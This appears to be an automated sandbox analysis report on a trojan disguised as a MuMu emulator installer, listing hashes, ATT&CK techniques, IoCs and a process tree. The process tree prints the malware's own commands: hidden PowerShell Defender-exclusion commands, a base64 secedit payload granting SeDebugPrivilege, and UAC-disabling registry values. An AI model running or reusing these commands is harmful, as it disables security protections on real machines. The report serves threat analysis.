48aeb7e45b62d39e2af9ed0cff657ab6216bc2d99c16407df4b647decc904255

Analysis

max time kernel
150s
max time network
117s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/08/2026, 16:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
mumummmnqiii.exe
Size 11.3MB
Sample260801-tt29ysdd73
SHA256 48aeb7e45b62d39e2af9ed0cff657ab6216bc2d99c16407df4b647decc904255
MD5 88a790ecee88e0eae51023df287ecd0a
SHA1 e78d8e2a2038cdabe777f64e08017ccb24320be8
SHA512 fe413c5169c3c9872ef9271573a24833f4cf7f9d7d66c6e0620cb1c1f2155ad9799243bb100523da95785a81da2b5b56d3a3defcd00027b0909406f4ef517116
SSDEEP 196608:FQXqhoqk30RlSxZoMJ76uFFkOuPlB+xGo3u0VWjcc02vVZoL:6XqHI0+OOeS3FMvVZQ
TLSH
T115C61286A2AC50F8D157C17CC8168A4BEBF2F8910B31C7DF01A9966F6F772A10D29357
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	dllhost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6136	powershell.exe
4128	powershell.exe
2440	powershell.exe
1144	powershell.exe
1648	powershell.exe
4128	powershell.exe
2440	powershell.exe
1144	powershell.exe
1648	powershell.exe
6136	powershell.exe
2224	powershell.exe

Executes dropped EXE 10 IoCs

pid	Process
2456	irsetup.exe
560	iusb3mon.exe
1820	MuMu_Ä£ÄâÆ÷.exe
4228	nemu-downloader.exe
5984	crashpad_handler.exe
2460	iusb3mon.exe
3944	ColaBoxChecker.exe
1932	HyperVChecker.exe
5652	HyperVChecker.exe
2784	HyperVChecker.exe

Loads dropped DLL 7 IoCs

pid	Process
2456	irsetup.exe
4228	nemu-downloader.exe
4228	nemu-downloader.exe
4228	nemu-downloader.exe
4228	nemu-downloader.exe
5984	crashpad_handler.exe
5984	crashpad_handler.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	nemu-downloader.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of SetThreadContext 16 IoCs

description	pid	Process	procid_target
PID 560 set thread context of 3568	560	iusb3mon.exe	101
PID 3568 set thread context of 2108	3568	dllhost.exe	107
PID 2460 set thread context of 5424	2460	iusb3mon.exe	115
PID 3568 set thread context of 4996	3568	dllhost.exe	124
PID 3568 set thread context of 5756	3568	dllhost.exe	129
PID 3568 set thread context of 5992	3568	dllhost.exe	135
PID 3568 set thread context of 4808	3568	dllhost.exe	136
PID 3568 set thread context of 476	3568	dllhost.exe	137
PID 3568 set thread context of 4260	3568	dllhost.exe	138
PID 3568 set thread context of 1920	3568	dllhost.exe	139
PID 3568 set thread context of 2752	3568	dllhost.exe	140
PID 3568 set thread context of 4608	3568	dllhost.exe	141
PID 3568 set thread context of 4920	3568	dllhost.exe	142
PID 3568 set thread context of 3392	3568	dllhost.exe	143
PID 3568 set thread context of 2768	3568	dllhost.exe	144
PID 3568 set thread context of 5848	3568	dllhost.exe	145

UPX packed file 47 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c542-5.dat	upx
behavioral2/memory/2456-9-0x00007FF7959F0000-0x00007FF7961D3000-memory.dmp	upx
behavioral2/memory/2456-54-0x00007FF7959F0000-0x00007FF7961D3000-memory.dmp	upx
behavioral2/memory/3568-70-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-71-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-69-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-68-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-66-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-64-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-63-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-62-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-67-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-65-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-61-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-60-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-59-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-58-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-78-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-87-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-88-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-84-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-86-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-81-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-80-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-79-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-202-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-203-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-220-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-235-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-236-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/5424-241-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-244-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-254-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-252-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-251-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-249-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-248-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-243-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-242-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-253-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-250-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-247-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-246-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/5424-245-0x0000000000B90000-0x0000000000C55000-memory.dmp	upx
behavioral2/memory/3568-269-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-333-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx
behavioral2/memory/3568-339-0x0000000000E60000-0x0000000000F25000-memory.dmp	upx

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe	irsetup.exe
File created	C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe	irsetup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2712	cmd.exe
5416	cmd.exe
1848	cmd.exe
756	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ColaBoxChecker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iusb3mon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iusb3mon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MuMu_Ä£ÄâÆ÷.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nemu-downloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crashpad_handler.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dllhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe
Set key security	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3356	timeout.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	irsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	irsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	irsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	irsetup.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1648	powershell.exe
1648	powershell.exe
6136	powershell.exe
6136	powershell.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
2224	powershell.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
4128	powershell.exe
2224	powershell.exe
2224	powershell.exe
4128	powershell.exe
4128	powershell.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
4228	nemu-downloader.exe
4228	nemu-downloader.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe
3568	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3568	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeIncreaseQuotaPrivilege	1648	powershell.exe
Token: SeSecurityPrivilege	1648	powershell.exe
Token: SeTakeOwnershipPrivilege	1648	powershell.exe
Token: SeLoadDriverPrivilege	1648	powershell.exe
Token: SeSystemProfilePrivilege	1648	powershell.exe
Token: SeSystemtimePrivilege	1648	powershell.exe
Token: SeProfSingleProcessPrivilege	1648	powershell.exe
Token: SeIncBasePriorityPrivilege	1648	powershell.exe
Token: SeCreatePagefilePrivilege	1648	powershell.exe
Token: SeBackupPrivilege	1648	powershell.exe
Token: SeRestorePrivilege	1648	powershell.exe
Token: SeShutdownPrivilege	1648	powershell.exe
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeSystemEnvironmentPrivilege	1648	powershell.exe
Token: SeRemoteShutdownPrivilege	1648	powershell.exe
Token: SeUndockPrivilege	1648	powershell.exe
Token: SeManageVolumePrivilege	1648	powershell.exe
Token: 33	1648	powershell.exe
Token: 34	1648	powershell.exe
Token: 35	1648	powershell.exe
Token: 36	1648	powershell.exe
Token: SeDebugPrivilege	6136	powershell.exe
Token: SeIncreaseQuotaPrivilege	6136	powershell.exe
Token: SeSecurityPrivilege	6136	powershell.exe
Token: SeTakeOwnershipPrivilege	6136	powershell.exe
Token: SeLoadDriverPrivilege	6136	powershell.exe
Token: SeSystemProfilePrivilege	6136	powershell.exe
Token: SeSystemtimePrivilege	6136	powershell.exe
Token: SeProfSingleProcessPrivilege	6136	powershell.exe
Token: SeIncBasePriorityPrivilege	6136	powershell.exe
Token: SeCreatePagefilePrivilege	6136	powershell.exe
Token: SeBackupPrivilege	6136	powershell.exe
Token: SeRestorePrivilege	6136	powershell.exe
Token: SeShutdownPrivilege	6136	powershell.exe
Token: SeDebugPrivilege	6136	powershell.exe
Token: SeSystemEnvironmentPrivilege	6136	powershell.exe
Token: SeRemoteShutdownPrivilege	6136	powershell.exe
Token: SeUndockPrivilege	6136	powershell.exe
Token: SeManageVolumePrivilege	6136	powershell.exe
Token: 33	6136	powershell.exe
Token: 34	6136	powershell.exe
Token: 35	6136	powershell.exe
Token: 36	6136	powershell.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeIncreaseQuotaPrivilege	4128	powershell.exe
Token: SeSecurityPrivilege	4128	powershell.exe
Token: SeTakeOwnershipPrivilege	4128	powershell.exe
Token: SeLoadDriverPrivilege	4128	powershell.exe
Token: SeSystemProfilePrivilege	4128	powershell.exe
Token: SeSystemtimePrivilege	4128	powershell.exe
Token: SeProfSingleProcessPrivilege	4128	powershell.exe
Token: SeIncBasePriorityPrivilege	4128	powershell.exe
Token: SeCreatePagefilePrivilege	4128	powershell.exe
Token: SeBackupPrivilege	4128	powershell.exe
Token: SeRestorePrivilege	4128	powershell.exe
Token: SeShutdownPrivilege	4128	powershell.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeSystemEnvironmentPrivilege	4128	powershell.exe
Token: SeRemoteShutdownPrivilege	4128	powershell.exe
Token: SeUndockPrivilege	4128	powershell.exe
Token: SeManageVolumePrivilege	4128	powershell.exe
Token: 33	4128	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2456	irsetup.exe
2456	irsetup.exe
2456	irsetup.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4240 wrote to memory of 2456	4240	mumummmnqiii.exe	89
PID 2456 wrote to memory of 2712	2456	irsetup.exe	90
PID 2712 wrote to memory of 1648	2712	cmd.exe	92
PID 2456 wrote to memory of 5416	2456	irsetup.exe	94
PID 5416 wrote to memory of 6136	5416	cmd.exe	96
PID 2456 wrote to memory of 1848	2456	irsetup.exe	97
PID 1848 wrote to memory of 3356	1848	cmd.exe	99
PID 2456 wrote to memory of 560	2456	irsetup.exe	100
PID 560 wrote to memory of 3568	560	iusb3mon.exe	101
PID 560 wrote to memory of 3568	560	iusb3mon.exe	101
PID 2456 wrote to memory of 1820	2456	irsetup.exe	102
PID 3568 wrote to memory of 2224	3568	dllhost.exe	103
PID 3568 wrote to memory of 4128	3568	dllhost.exe	104
PID 3568 wrote to memory of 2108	3568	dllhost.exe	107
PID 3568 wrote to memory of 2108	3568	dllhost.exe	107
PID 3568 wrote to memory of 2108	3568	dllhost.exe	107
PID 3568 wrote to memory of 2108	3568	dllhost.exe	107
PID 3568 wrote to memory of 2108	3568	dllhost.exe	107
PID 3568 wrote to memory of 2108	3568	dllhost.exe	107
PID 3568 wrote to memory of 2108	3568	dllhost.exe	107
PID 3568 wrote to memory of 2108	3568	dllhost.exe	107
PID 3568 wrote to memory of 2108	3568	dllhost.exe	107
PID 3568 wrote to memory of 756	3568	dllhost.exe	108
PID 1820 wrote to memory of 4228	1820	MuMu_Ä£ÄâÆ÷.exe	110
PID 756 wrote to memory of 1288	756	cmd.exe	111
PID 4228 wrote to memory of 5984	4228	nemu-downloader.exe	112
PID 2460 wrote to memory of 5424	2460	iusb3mon.exe	115
PID 2460 wrote to memory of 5424	2460	iusb3mon.exe	115
PID 4228 wrote to memory of 3944	4228	nemu-downloader.exe	116
PID 2224 wrote to memory of 5160	2224	powershell.exe	119
PID 4228 wrote to memory of 1932	4228	nemu-downloader.exe	120
PID 3568 wrote to memory of 2440	3568	dllhost.exe	122
PID 3568 wrote to memory of 4996	3568	dllhost.exe	124
PID 3568 wrote to memory of 4996	3568	dllhost.exe	124
PID 3568 wrote to memory of 4996	3568	dllhost.exe	124
PID 3568 wrote to memory of 4996	3568	dllhost.exe	124
PID 3568 wrote to memory of 4996	3568	dllhost.exe	124
PID 3568 wrote to memory of 4996	3568	dllhost.exe	124
PID 3568 wrote to memory of 4996	3568	dllhost.exe	124
PID 3568 wrote to memory of 4996	3568	dllhost.exe	124
PID 3568 wrote to memory of 4996	3568	dllhost.exe	124
PID 4228 wrote to memory of 5652	4228	nemu-downloader.exe	125
PID 3568 wrote to memory of 1144	3568	dllhost.exe	127
PID 3568 wrote to memory of 5756	3568	dllhost.exe	129
PID 3568 wrote to memory of 5756	3568	dllhost.exe	129
PID 3568 wrote to memory of 5756	3568	dllhost.exe	129
PID 3568 wrote to memory of 5756	3568	dllhost.exe	129
PID 3568 wrote to memory of 5756	3568	dllhost.exe	129
PID 3568 wrote to memory of 5756	3568	dllhost.exe	129
PID 3568 wrote to memory of 5756	3568	dllhost.exe	129
PID 3568 wrote to memory of 5756	3568	dllhost.exe	129
PID 3568 wrote to memory of 5756	3568	dllhost.exe	129
PID 4228 wrote to memory of 2784	4228	nemu-downloader.exe	130
PID 3568 wrote to memory of 5992	3568	dllhost.exe	135
PID 3568 wrote to memory of 5992	3568	dllhost.exe	135
PID 3568 wrote to memory of 5992	3568	dllhost.exe	135
PID 3568 wrote to memory of 5992	3568	dllhost.exe	135
PID 3568 wrote to memory of 5992	3568	dllhost.exe	135
PID 3568 wrote to memory of 5992	3568	dllhost.exe	135
PID 3568 wrote to memory of 5992	3568	dllhost.exe	135
PID 3568 wrote to memory of 5992	3568	dllhost.exe	135
PID 3568 wrote to memory of 5992	3568	dllhost.exe	135
PID 3568 wrote to memory of 4808	3568	dllhost.exe	136
PID 3568 wrote to memory of 4808	3568	dllhost.exe	136

C:\Users\Admin\AppData\Local\Temp\mumummmnqiii.exe
"C:\Users\Admin\AppData\Local\Temp\mumummmnqiii.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4240
- C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
  "C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:5226434 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\mumummmnqiii.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-3989226554-2204910950-1522900112-1000"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2456
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1648
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'mumummmnqiii.exe' -Force" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'mumummmnqiii.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6136
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 2 /nobreak >nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1848
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3356
- - C:\Users\Admin\AppData\Local\iusb3mon.exe
    "C:\Users\Admin\AppData\Local\iusb3mon.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:560
  - - C:\Windows\SysWOW64\dllhost.exe
      "C:\Windows\SysWOW64\dllhost.exe"
      4⤵
      UAC bypass
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of WriteProcessMemory
      PID:3568
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -Command "$temp = $env:TEMP;$inf = Join-Path $temp 'SeDebugPrivilege.inf';$sdb = Join-Path $temp 'SeDebugPrivilege.sdb';$log = Join-Path $temp 'SeDebugPrivilege.log';$b64 = '//5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA=';[IO.File]::WriteAllBytes($inf, [Convert]::FromBase64String($b64));secedit.exe /configure /db $sdb /cfg $inf /overwrite /log $log /quiet;Start-Sleep -Seconds 5;Remove-Item -Path $inf -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2224
      - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.log /quiet
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5160
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Local\ziliao.jpg'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4128
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:2108
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c schtasks.exe /delete /tn "WinSvcMon_3C6F10A0" /f >nul 2>&1
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:756
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /delete /tn "WinSvcMon_3C6F10A0" /f
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1288
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:2440
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:4996
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'iusb3mon.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:1144
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:5756
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:5992
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:4808
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:476
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:4260
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:1920
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:2752
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:4608
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:4920
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:3392
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:2768
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:5848
- - C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe
    "C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\Users\Admin\AppData\Local\Temp\7z9631B71C\nemu-downloader.exe
      C:\Users\Admin\AppData\Local\Temp\7z9631B71C\nemu-downloader.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Enumerates connected drives
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4228
    - - C:\Users\Admin\AppData\Local\Temp\7z9631B71C\crashpad_handler.exe
        
